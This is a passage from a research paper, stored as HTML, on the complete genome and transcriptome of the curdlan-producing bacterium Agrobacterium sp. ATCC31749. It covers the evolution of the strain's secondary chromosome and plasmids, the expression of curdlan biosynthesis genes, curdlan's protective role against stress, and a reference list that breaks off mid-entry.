C2, pTiC58, pAtC58, pTiJ07, pAtJ07, pTiLBA4404, pAtLBA4404, pRtCB782a, pRtCB782b, pRtCB782c, pAtS4a, pAtS4b, pAtS4c, pAtS4e and pTiS4 finds ATCC31749 C2 and C58 C2 to be placed with symbiosis-related plasmids pRtCB782a and pRtCB782b. This tree suggests that ATCC31749 C2 and C58 C2 with the plasmids pRtCB782a and pRtCB782b diverged from the tumor-inducing plasmids pTiC58, pTiLBA4404, pTiJ07 and pTiS4 during the process of evolution. Hence, it is possible that ATCC31749 C2 may have a symbiotic/Ti plasmid ancestor. It can be deduced from this tree and the syntenic relationship data that ATCC31749 C2 may have evolved from an ancestral symbiosis/Ti plasmid which integrated into a duplicated copy of C1 (Figure 5a &amp; 5b), rather than transfer of large number of genes from the C1 to the ancestral plasmid. The previous hypothesis by Slater et al., (6), require large number of genes transfer from the C1 to the ancestral symbiosis/Ti plasmid to form C2, and this may be difficult to achieve during the process of evolution. It is easier for the ancient symbiosis/Ti plasmid (or its fragments including its replication origin) to be integrated into a copy of the duplicated C1 to form C2, than large number of genes being transferred from C1 to the ancestral plasmid during the process of evolution. We therefore propose a possible pathway for evolution of the C2 of ATCC31749, whereby formation of C2 occurred by integration of fragments of an ancestral symbiosis/Ti plasmid into the duplicated copy of C1, followed by loss of genes (including some virulence genes) and inter-transfer of genes among the four replicons (Figure 5c). This is consistent with the syntenic relationship results which show that the C2 is more homologous to C1, and shares very few similar genes with the plasmids (Figure 5).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Plasmids</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In figure 5b, plasmid pAg31749a is placed with pAt plasmids pAtC58, pAtLBA4404 and pAtJ07, whiles pAg31749b is placed with mutualistic symbiotic-related plasmid pRtCB782c of CB782. This tree also places ATCC31749 C2, pAg31749a and pAg31749b at different clades, confirming our result in figure S2 and therefore support our hypothesis that all the four replicons of ATCC31749 may have different origins of evolution. The replication origins of both pAg31749a and pAg31749b have the same pattern of the <em>repABC</em> replication system. Comparative analysis of the homologous protein sequences of repABC, reveals that pAg31749a and pAg31749b share 43% similarity for repA, 33.9% for repB and 58% for repC. BLASTN analysis of repABC and oriC of pAg31749a and pAg31749b, show that pAg31749a has 100% coverage and 99% identity with pAt in C58, whiles pAg31749b has 98% coverage and 82% identity with the mutualistic symbiosis-related plasmid (pRtCB782c) of <em>Rhizobiumleguminosarum</em>bv. <em>trifolii</em> CB782 (CB782). These results suggest that pAg31749a may have a common ancestral plasmid of origin of evolution with pAtC58, while pAg31749b may also have a common ancestral plasmid of origin of evolution with pRtCB782c in CB782. The gene function annotation data shows that the pAg31749a mainly contains secondary metabolites biosynthesis genes, and transport and metabolism related genes. Plasmid pAg31749b does not only contain secondary metabolites biosynthesis genes, but also primary metabolism genes including sugar, amino acids and lipids transport and metabolism related genes. The energy-producing and carbohydrate metabolism related genes of pAg31749b may also contribute to the synthesis curdlan.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Expression of curdlan biosynthesis genes</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">For analysis of the expressed genes of ATCC31749, 6 samples (3 replicates each for exponential (E) and stationary (S) growth phases) of ATCC31749were used for RNA-seq analysis. Using FPKM value of 1 as a standard cut-off, any gene having FPKM value &ge;1 was regarded as an expressed gene. Distribution of FPKM values across the 6 samples at E- and S-phases has been summarized in figure 6a. It was found that, 4567 genes were expressed. For analysis of differentially expressed genes (DEGs) between S- and E-phases, a fold change (fc) value &ge; 2 and q-value &le; 0.05 were set as cut-off to select DEGs. It was found that, during the S-phase 207 genes were upregulated (File S4). Gene annotation data revealed that, genes that were downregulated in the S-phase are mainly involved in primary metabolism such as glycolysis, citric acid cycle, oxidative phosphorylation, protein, sugar, lipid and nucleic acid metabolism, cell replication, growth and development. On the other hand, genes that were upregulated in the S-phase are primarily involved in stress response activities, nitrogen transportation, signal transduction, and CPS and EPS biosynthesis, regulation and transport. The curdlan synthase operon (<em>crdA</em><em>S</em><em>C</em>) and its regulatory-related genes were highly upregulated at the S-phase (Figure 6b and 6c, showing DEGs of fc &ge; 4). The synthase-dependent exopolysaccharide secretion genes <em>TPR</em>, &beta;-Barrel, Tm-Barrel, stress response A/B-Barreland their regulatory-related genes, and the signal molecule c-di-GMP-regulation associated geneswhich are necessary for curdlan biosynthesis and transport were upregulated at the S-phase. EPS/CPS biosynthesis and transport-related genes, nitrogen signalling cascade (<em>NtrBC</em>) and pyrophosphate (<em>rrpP</em>) were upregulated in the curdlan biosynthesis stage (S-phase). Some regulatory genes such as cAMP phosphodiesterase (<em>cpdA</em>) and oxygenase (<em>FixL</em>,<em>FixJ</em>) that are vital for improvement of curdlan biosynthesis were also upregulated. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">At the E-phase, genes that were upregulated are mostly primary metabolism related genes for growth and development (such as glucose-6-phosphate isomerase, sucrose-phosphate hydrolase, UTP-glucose-1-phosphate uridylyltransferase, UDP pyrophosphate, succinate dehydrogenase, argininosuccinate synthase, adenylosuccinate synthetase, GTP binding proteins, acetyl-CoA acetyltransferase and synthase, fructose-1,6-bisphophate aldolase, pyrophosphate-fructose-6-phosphate 1-phosphotransferase, malate dehydrogenase, glutamine synthetase, glutamine amidotransferase, phosphoglycerate kinase, pyruvate dehydrogenase), and some regulatory and energy providing-related genes (such as AMP and GMP synthase diguanylate cyclases, diguanylate phosphodiesterases; nitrogen fixation regulatory genes; EPS production negative regulators). Based on our ATCC31749genome and transcriptome data, the process for curdlan biosynthesis and regulation with extracellular raw materials such as glucose or sucrose are summed up in Figure 6d.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Curdlan acts in defence of ATCC 31749 cells</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">To study the functions of curdlan to the ATCC31749 cells, three different strains of ATCC31749cells that have been grown to E-phase and S-phase. The strains includeATCC31749(Curdlan-producing ATCC31749, wild type), ATCC31749-?<em>crdR</em> (ATCC31749mutant of <em>crdR</em> knockout) with dramatically reduced curdlan synthesis [38]and ATCC31749-?<em>crdR</em>+pBQ<em>crdR</em>(ATCC31749?<em>crdR</em> mutant that has been complimented by<em>crdR</em>inpBQ<em>crdR</em>) were used to analyze the protective ability of curdlan on ATCC31749cells against stress conditions. The stress conditions investigated were high temperature (42?C), UV light and acidic conditions. We found that, the number of colonies that grew on the agar plates for all three strains at the curdlan producing stage (S-phase) were significantly higher than their counterparts at the E-phase for all conditions studied. This is possible because at the cell growth stage (E-phase),lower or no curdlan has been produced. When the number of colonies of the three strains at any growth stage were compared, it was found that, the wild type strain (ATCC31749) had significant higher number of colonies that grew than the other two strains (Figure 7). The ?<em>crdR</em> mutant strain (ATCC31749-?<em>crdR</em>), which lacks <em>crdR</em> gene that regulates curdlan biosynthesis, produced the lowest number of colonies for all conditions studied. This suggest that curdlan acts in defense of ATCC31749cells by forming a protective sheath that cover the cells surfaces. It can therefore be inferred that, curdlan serves a protective barrier between the cells surfaces and their immediate environment.</span></p>\r\n\r\n<p style=\"text-align:justify\"><strong><span style=\"font-family:Times New Roman,Times,serif\">Discussion</span></strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">ATCC31749 is of particular biological interest because of its ability to synthesize curdlan which is of high importance to food and pharmaceutical industries. Therefore, an insight into the complete genome of ATCC31749will be helpful for the scientific community and industrial producers of curdlan. Genomes of organisms of the order <em>Rhizobiales</em> are highly enriched with genes for regulation of pathogenic or symbiotic processes, secondary metabolites, transport and stress-related systems such as EPS for self-protection(13). These genomes contain single or multiple chromosomes (some of which are linear) and plasmids(6). The genome of ATCC31749contains two chromosomes, two plasmids and 14 predicted genomic islands. The two plasmids of ATCC31749are highly enriched with symbiotic-related genes such as nodulation genes (<em>nodN, nodT, nolG, nolR</em>) that encode proteins involved in the biosynthesis and transport of nodulation factors which induce nodule organogenesis in most rhizobia. Other symbiotic-related genes present include nitrogen-fixation genes (<em>fixL, fixG, fixH, nifR, nifH, NtrABC</em>). The presence of symbiotic-related genes in ATCC31749 plasmids, pAg31749a and pAg31749b, supports available literatures that states that in Agrobacteria, mutualism and symbiosis-related genes are basically encoded on the transmissible plasmids or mobile gene islands (Symbiotic Islands) which permits the conversion of non-symbiotic organisms into nitrogen-fixing plant endosymbionts and vice versa. The organization of these symbiotic genes clustered within mobile islands or plasmids are not only necessary for genome expansion but also specifies the genomic expansion by both gene duplication and accessory nature of genes acquired by horizontal gene transfer[39-41]. The primary chromosome of ATCC31749which is the circular chromosome contains a putative origin of replication (<em>oriC</em>) that has a 92.252% identity to the known <em>oriC</em> of C58. The secondary (linear) chromosome of ATCC31749 has a plasmid-type replication system of the same type found on C58 linear chromosome and shares 97.208% identity to that of C58. Furthermore, the ATCC31749 genome nucleotide sequence shares 98% identity (at a coverage of 85%) with the genome nucleotide sequence of C58, indicating that the ATCC31749genome resembles more closely to genomes of <em>Agrobacteriumfabrum</em> (also called <em>A. tumefaciens</em>) group than the genomes of non-pathogenic <em>Agrobacterium</em> species, although ATCC31749 is not virulent. It is therefore possible that the ancestors of ATCC31749 might have lost their virulence genes during the evolution process.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In multichromosomal bacteria, multichromosomes may be necessary for effective and efficient completion of genome replication and segregation in less time. The fewer the replication forks, the lesser the breakages and hence, the lesser the formation of dimers resulting from repair of broken replication forks. This improves genome maintenance and chromosome stability during rapid growth[42]. Furthermore, formation of a secondary chromosome in ATCC31749may serve as an alternative reservoir for newly acquired genes and as a backup gene copy for some essential genes (as seen in figure 5a). Multichromosomes that are found in diverse forms of bacteria, evolved through different processes. These processes include chromosome excision into different replicons, duplication of genome following independent structure diversification, mutation of multicopy chromosomes, unequal chromosomal division, horizontal gene transfer and transformation of a plasmid into a chromosome [6, 43-46]. In <em>Rhizobiales</em>, two types of evolutionary paths have been proposed for chromosome evolution. One of these evolutionary mechanisms is the integration of the ancestral plasmid into the primary chromosome as seen in <em>Bradyrhizobium</em> strains[47]. The other mechanism for chromosome evolution is the transfer of chromosomal genes from primary chromosomes to ancestral plasmids resulting into formation of secondary chromosomes (a plasmid-based mechanism for formation of secondary chromosomes) as seen in <em>Proteobacteria</em>. The plasmid-based mechanism for formation of secondary chromosomes require large number of genes to be transferred from the primary chromosome to the ancestral plasmid. This may not be easy to be achieved than just the whole ancient symbiosis/Ti plasmid or partial fragments of the ancient symbiosis/Ti plasmid including its replication origin integrating into a duplicated copy of the ancient chromosome to form an ancestral secondary chromosome. The <em>repABC</em> genes involved in replication, copy number control, partitioning and stability maintenance of replication of repABC-based replicon are highly phylogenetically distinct. Therefore, a phylogenetic tree inferred from repABC is a good source of data for evolution studies. Our repABC phylogenetic tree finds ATCC31749 C2 and C58 C2 to be placed with mutualistic symbiosis-related plasmids pRtCB782a and pRtCB782b, which might have diverged from tumor-inducing plasmids pTiC58, pTiLBA4404, pTiJ07 and pTiS4 (Figure 5b). It is therefore possible that, ATCC31749 C2 may have evolved from an ancestral symbiosis/Ti plasmid. Furthermore, the syntenic relationship tBLASTx graphical comparison of the chromosomes (C1, C2) with the plasmids (pAg31749a and pAg31749b) also suggest that, the secondary chromosome shows very high similarity to the primary chromosome (Figure 5a) with BLASTN identity of 86.6%, inferring to a possibility that C2 may have evolved from duplication of C1. This is not consistent with the hypothesis of previous literature (6) which states that secondary chromosomes of <em>Agrobacterium </em>biovar I/III originated from ancestral plasmids to which chromosomal genes have been transferred to since the secondary chromosomes contain plasmid-type replication origin repABC. Although, this hypothesis is a possibility, it is also possible that secondary chromosomes may originate from a duplicated copy of the primary chromosome to which the repABCfragments with other fragments of the ancestral plasmid have been integrated into. We therefore propose that accumulation of ancient plasmid and/or plasmid genes into the duplicated C1 led to formation of the secondary chromosome (C2) in ATCC31749<em>.</em>Our proposed pathway for formation of C2 by integration of fragments of an ancestral symbiosis/Ti plasmid, followed by loss/gain of genes including virulence genes, and transfer of genes among the replicons and linearization of the ancestral C2 during the long history of evolution has been summarized in figure 5c. The features of the ends of the linear chromosome are consistent with the presence of telomere-likestructures which play crucial roles in the integrity and stability of linear chromosome, preventing end-to-end fusions and DNA loss during replication[48-50]. These features confirm our result that the secondary chromosome is a linear chromosome. The same properties are found on the C58 secondary chromosome which is a linear chromosome.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">EPS production is crucial for bacteria survival during unfavourable environmental conditions. Exopolysaccharide biosynthesis processes include synthesis of sugar nucleotide precursors (a rate-limiting step for exopolysaccharide), assembly of the repeating unit, and polymerization and transportation to the extracellular environment where the EPS performs its function of protection or attachment. As a protective mechanism, C58 produces extracellular &beta;-1,2-glucan (a CPS) which is transported via the ABC transporter dependent pathway to the extracellular where it is linked to the C58 cell surface (33) enabling the cells to easily attach to host plants. The ABC transporter dependent pathway is ATP-dependent and requires high genetic composition (more genes) such as <em>GTs</em>, <em>OPX</em>, <em>PCP</em> and poly-kdo-linker. Furthermore, the degree of polymerization of &beta;-1,2-glucan is determined by the C-terminal domain of <em>Cgs</em> gene (<em>NdvB</em> and <em>ChvB</em>) [51]which facilitates the four enzymatic reactions: initiation, elongation, phosphorolysis and cyclization [52] of &beta;-1,2-glucan production, which is accomplished by multiple synthase genes. Unlike C58 and other <em>Agrobacterium</em> symbionts, ATCC31749is independent of any plant host and therefore has evolved to maintain a manageable genome size with less gene expression requirements to survive adverse conditions such as nitrogen-limited conditions. Over the period of evolution, ATCC31749has adapted to a transport system (Synthase-dependent transport pathway) with less genetic requirements. Unlike the polymerization of &beta;-1,2-glucan of C58, the polymerization of curdlan (a &beta;-1,3-glucan) as well as the transportation process of the synthase-dependent transport pathway is performed by a single synthase gene. Synthase dependent pathway is usually used for the production and assembly of homopolymers such as curdlan and cellulose that require only one type of sugar precursor (2). Apparently, ATCC31749may have evolved and adapted to the production of curdlan not only as a protective measure to withstand stress and adverse conditions (Figure 7), but also to by-pass the high genetic requirement of symbiosis. Furthermore, because curdlan is a water-insoluble and alkali-soluble biopolymer, ATCC31749may have adapted to the synthesis of curdlan over the process of evolution and selection, as an energy reservoir and medium of attachment to solid surfaces for better survival when in water medium.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The genome of ATCC31749is composed of two chromosomes and two plasmids. Genes that are responsible for housekeeping activities and basic life processes are located on the primary chromosome, although curdlan biosynthesis genes are located on the secondary chromosome. The secondary chromosome of ATCC31749 is derived from a duplicated copy of the primary chromosome to which fragments (including the origin of replication) of an ancestral symbiosis/Ti plasmid has integrated into. ATCC31749is found to be grouped with pathogenic <em>Agrobacterium</em> species and its genome resembles more closely to the genomes of pathogenic <em>Agrobacterium</em>species than non-pathogenic <em>Agrobacterium</em> species. <em>A. fabrum str.</em> C58 is the closest related <em>Agrobacterium</em> species to ATCC31749and they may have a common pathogenic/symbiotic <em>Rhizobiales</em> genetic ancestor. ATCC31749is an independent <em>Agrobacterium</em> species that produces curdlan as a protective glucan to protect itself against unfavourable conditions.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Supplementary data</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The following files were uploaded as &quot;Supplementary Files&quot; during the manuscript submission process. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Figure S1: Phylogenetic tree inferred from 57 <em>Agrobacterium/Rhizobium</em> group species by Maximum likelihood analysis. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Figure S2: Phylogenetic trees inferred from OriC DNA nucleotide sequences of the primary and secondary chromosomes of 41 multichromosomal bacteria species.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">File S1: Genome sequence of ATCC31749.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">File S2: List of 247 highly orthologous genes of the 57 species.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">File S3: Genome annotation ofATCC31749.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">File S4: Differentially expressed genes of ATCC31749.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Authors contributions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&ldquo;Conceptualization, Chun Lin and Zichao Mao; Data curation, Huifang Sun and Zhengjie Liu; Formal analysis, Rex Frimpong Anane , Huifang Sun and Lamei Zhao; Funding acquisition, Zichao Mao; Investigation, Rex Frimpong Anane, Huifang Sun and Lamei Zhao; Methodology, Chun Lin and Lamei Zhao; Project administration, Zichao Mao; Resources, Chun Lin and Zichao Mao; Supervision, Zhengjie Liu; Validation, Rex Frimpong Anane, Chun Lin and Zichao Mao; Visualization, Rex Frimpong Anane, Zhengjie Liu and Zichao Mao; Writing &ndash; original draft, Rex Frimpong Anane; Writing &ndash; review &amp; editing, Rex Frimpong Anane and Zichao Mao.&rdquo;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Conflicts of interest</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The authors declare that there are no conflicts of interest.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Funding information</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This research was funded by CHINESE NATURE SCIENCE FOUNDATION, grant numbers 31360085; 31170057. The funding was obtained by the author Zichao Mao. The funders did not employ anyone to participate in the research.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3390/life5021218\">Rossi F, De Philippis R (2015) Role of cyanobacterial exopolysaccharides in phototrophic biofilms and in complex microbial mats. Life (Basel) 5: 1218-1238.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3389/fmicb.2015.00496\">Schmid J, Sieber V, Rehm B (2015) Bacterial exopolysaccharides: biosynthesis pathways and engineering strategies. Front Microbiol 6: 496.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s00284-011-9942-0\">Yu LJ, Wu JR, Zheng ZY, Zhan XB, Lin CC (2011) Changes of curdlan biosynthesis and nitrogenous compounds utilization characterized in ntrC mutant of Agrobacterium sp. ATCC 31749. Curr Microbiol 63: 60-67.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16349518\">De Philippis R, Margheri MC, Materassi R, Vincenzini M (1998) Potential of unicellular cyanobacteria from saline environments as exopolysaccharide producers. Appl Environ Microbiol 64: 1130-1132.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s00253-016-7602-9\">Mota R, Rossi F, Andrenelli L, Pereira SB, De Philippis R, et al. (2016) Released polysaccharides (RPS) from Cyanothece sp. CCY 0110 as biosorbent for heavy metals bioremediation: interactions between metals and RPS binding sites. Appl Microbiol Biotechnol 100: 7765-777</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1128/jb.01779-08\">Slater SC, Goldman BS, Goodner B, Setubal JC, Farrand SK, et al. (2009) Genome sequences of three agrobacterium biovars help elucidate the evolution of multichromosome genomes in bacteria. J Bacteriol. 191: 2501-2511.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s00253-016-7650-1\">Wu D, Li A, Ma F, Yang J, Xie Y (2016) Genetic control and regulatory mechanisms of succinoglycan and curdlan biosynthesis in genus Agrobacterium. Appl Microbiol Biotechnol. 100: 6183-6192.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1099/ijs.0.02445-0\">Farrand SK, Van Berkum PB, Oger P (2003) Agrobacterium is a definable genus of the family Rhizobiaceae. Int J Syst Evol Microbiol 53: 1681-1687.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1099/ijs.0.02762-0\">Young JM, Kuykendall LD, Martinez-Romero E, Kerr A, Sawada H (2003) Classification and nomenclature of Agrobacterium and Rhizobium. Int J Syst Evol Microbiol 53: 1689-1695.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1128/jb.05302-11\">Ruffing AM, Castro-Melchor M, Hu WS, Chen RR (2011) Genome sequence of the curdlan-producing Agrobacterium sp. strain ATCC 31749. J Bacteriol 193: 4294-4295.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1146/annurev.genet.38.072902.094318\">Bentley SD, Parkhill J (2004) Comparative genomic structure of prokaryotes. Annu Rev Genet 38: 771-792.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1038/nrmicro1044\">Batut J, Andersson SG, O&#39;Callaghan D (2004) The evolution of chronic infection strategies in the alpha-proteobacteria. Nat Rev Microbiol 2: 933-945.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1073/pnas.0400975101\">Boussau B, Karlberg EO, Frank AC, Legault BA, Andersson SG (2004) Computational inference of scenarios for alpha-proteobacterial genome evolution. Proc Natl Acad Sci U S A 101: 9722-9727.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/0008-6215(95)00186-w\">Yoshida T, Yasuda Y, Mimura T, Kaneko Y, Nakashima H, et al. (1995) Synthesis of curdlan sulfates having inhibitory effects in vitro against AIDS viruses HIV-1 and HIV-2. Carbohydr Res 276: 425-436.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/s12934-017-0671-3\">Anane RF, Sun H, Zhao L, Wang L, Lin C (2017) Improved curdlan production with discarded bottom parts of Asparagus spear. Microb Cell Fact 16: 59.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Wilson K (2001) Preparation of genomic DNA from bacteria. CurrProtoc Mol Biol. Chapter 2:Unit 2 4.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1128/jb.00560-16\">Burby PE, Nye TM, Schroeder JW, Simmons LA (2017) Implementation and Data Analysis of Tn-seq, Whole-Genome Resequencing, and Single-Molecule Real-Time Sequencing for Bacterial Genetics. J Bacteriol 199.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/nar/gkm160\">Lagesen K, Hallin P, Rodland EA, Staerfeldt HH, Rognes T (2007) RNAmmer: consistent and rapid annotation of ribosomal RNA genes. Nucleic Acids Res 35: 3100-3108.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/nar/gkw413\">Lowe TM, Chan PP (2016) tRNAscan-SE On-line: integrating search and context for analysis of transfer RNA genes. Nucleic Acids Res 44: W54-57.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/1471-2105-11-119\">Hyatt D, Chen GL, Locascio PF, Land ML, Larimer FW (2010) Prodigal: prokaryotic gene recognition and translation initiation site identification. BMC Bioinformatics 11: 119.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/nar/gku1216\">Benson DA, Clark K, Karsch-Mizrachi I, Lipman DJ, Ostell J (2015) GenBank. Nucleic Acids Res 43: D30-35.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Tatusov RL, Fedorova ND, Jackson JD, Jacobs AR, Kiryutin B, et al. (2003) The COG database: an updated version includes eukaryotes. BMC Bioinformatics 4:41.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/nar/28.1.27\">Kanehisa M, Goto S (2000) KEGG: kyoto encyclopedia of genes and genomes. Nucleic Acids Res 28: 27-30.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/nar/gkv1070\">Kanehisa M, Sato Y, Kawashima M, Furumichi M, Tanabe M (2016) KEGG as a reference resource for gene and protein annotation. Nucleic Acids Res 44: D457-462.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1101/gr.092759.109\">Krzywinski M, Schein J, Birol I, Connors J, Gascoyne R, et al. (2009) Circos: an information aesthetic for comparative genomics. Genome Res 19: 1639-1645.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1089/10665270050081478\">Zhang Z, Schwartz S, Wagner L, Miller W (2000) A greedy algorithm for aligning DNA sequences. J Comput Biol 7: 203-214.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Katoh K, Rozewicki J, Yamada KD (2017) MAFFT online service: multiple sequence alignment, interactive sequence choice and visualization. Brief Bioinform.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/nar/gkw290\">Letunic I, Bork P (2016) Interactive tree of life (iTOL) v3: an online tool for the display and annotation of phylogenetic and other trees. Nucleic Acids Res 44: W242-245.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/978-1-61779-089-8_7\">Chen Z, Duan X (2011) Ribosomal RNA depletion for massively parallel bacterial RNA-sequencing applications. Methods Mol Biol 733: 93-103.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1038/nprot.2016.095\">Pertea M, Kim D, Pertea GM, Leek JT, Salzberg SL (2016) Transcript-level expression analysis of RNA-seq experiments with HISAT, StringTie and Ballgown. Nat Protoc 11: 1650-1667.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/978-1-4939-2444-8_24\">Loraine AE, Blakley IC, Jagadeesan S, Harper J, Miller G (2015) Analysis and visualization of RNA-Seq expression data using RStudio, Bioconductor, and Integrated Genome Browser. Methods Mol Biol 1284: 481-501.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1089/cmb.2012.0021\">Bankevich A, Nurk S, Antipov D, Gurevich AA, Dvorkin M, et al. (2012) SPAdes: a new genome assembly algorithm and its applications to single-cell sequencing. J Comput Biol 19: 455-477.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1128/iai.72.4.2263-2271.2004\">Roset MS, Ciocchini AE, Ugalde RA, Inon de Iannino N (2004) Molecular cloning and characterization of cgt, the Brucella abortus cyclic beta-1,2-glucan transporter gene, and its role in virulence. Infect Immun 72: 2263-2271.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"file:///C:/Users/nanar/AppData/Local/Packages/microsoft.windowscommunicationsapps_8wekyb3d8bbwe/LocalState/Files/S0/1445/v\">Roset MS, Ibanez AE, de Souza Filho JA, Spera JM, Minatel L, et al. (2014) Brucella cyclic beta-1,2-glucan plays a critical role in the induction of splenomegaly in mice. PLoS One 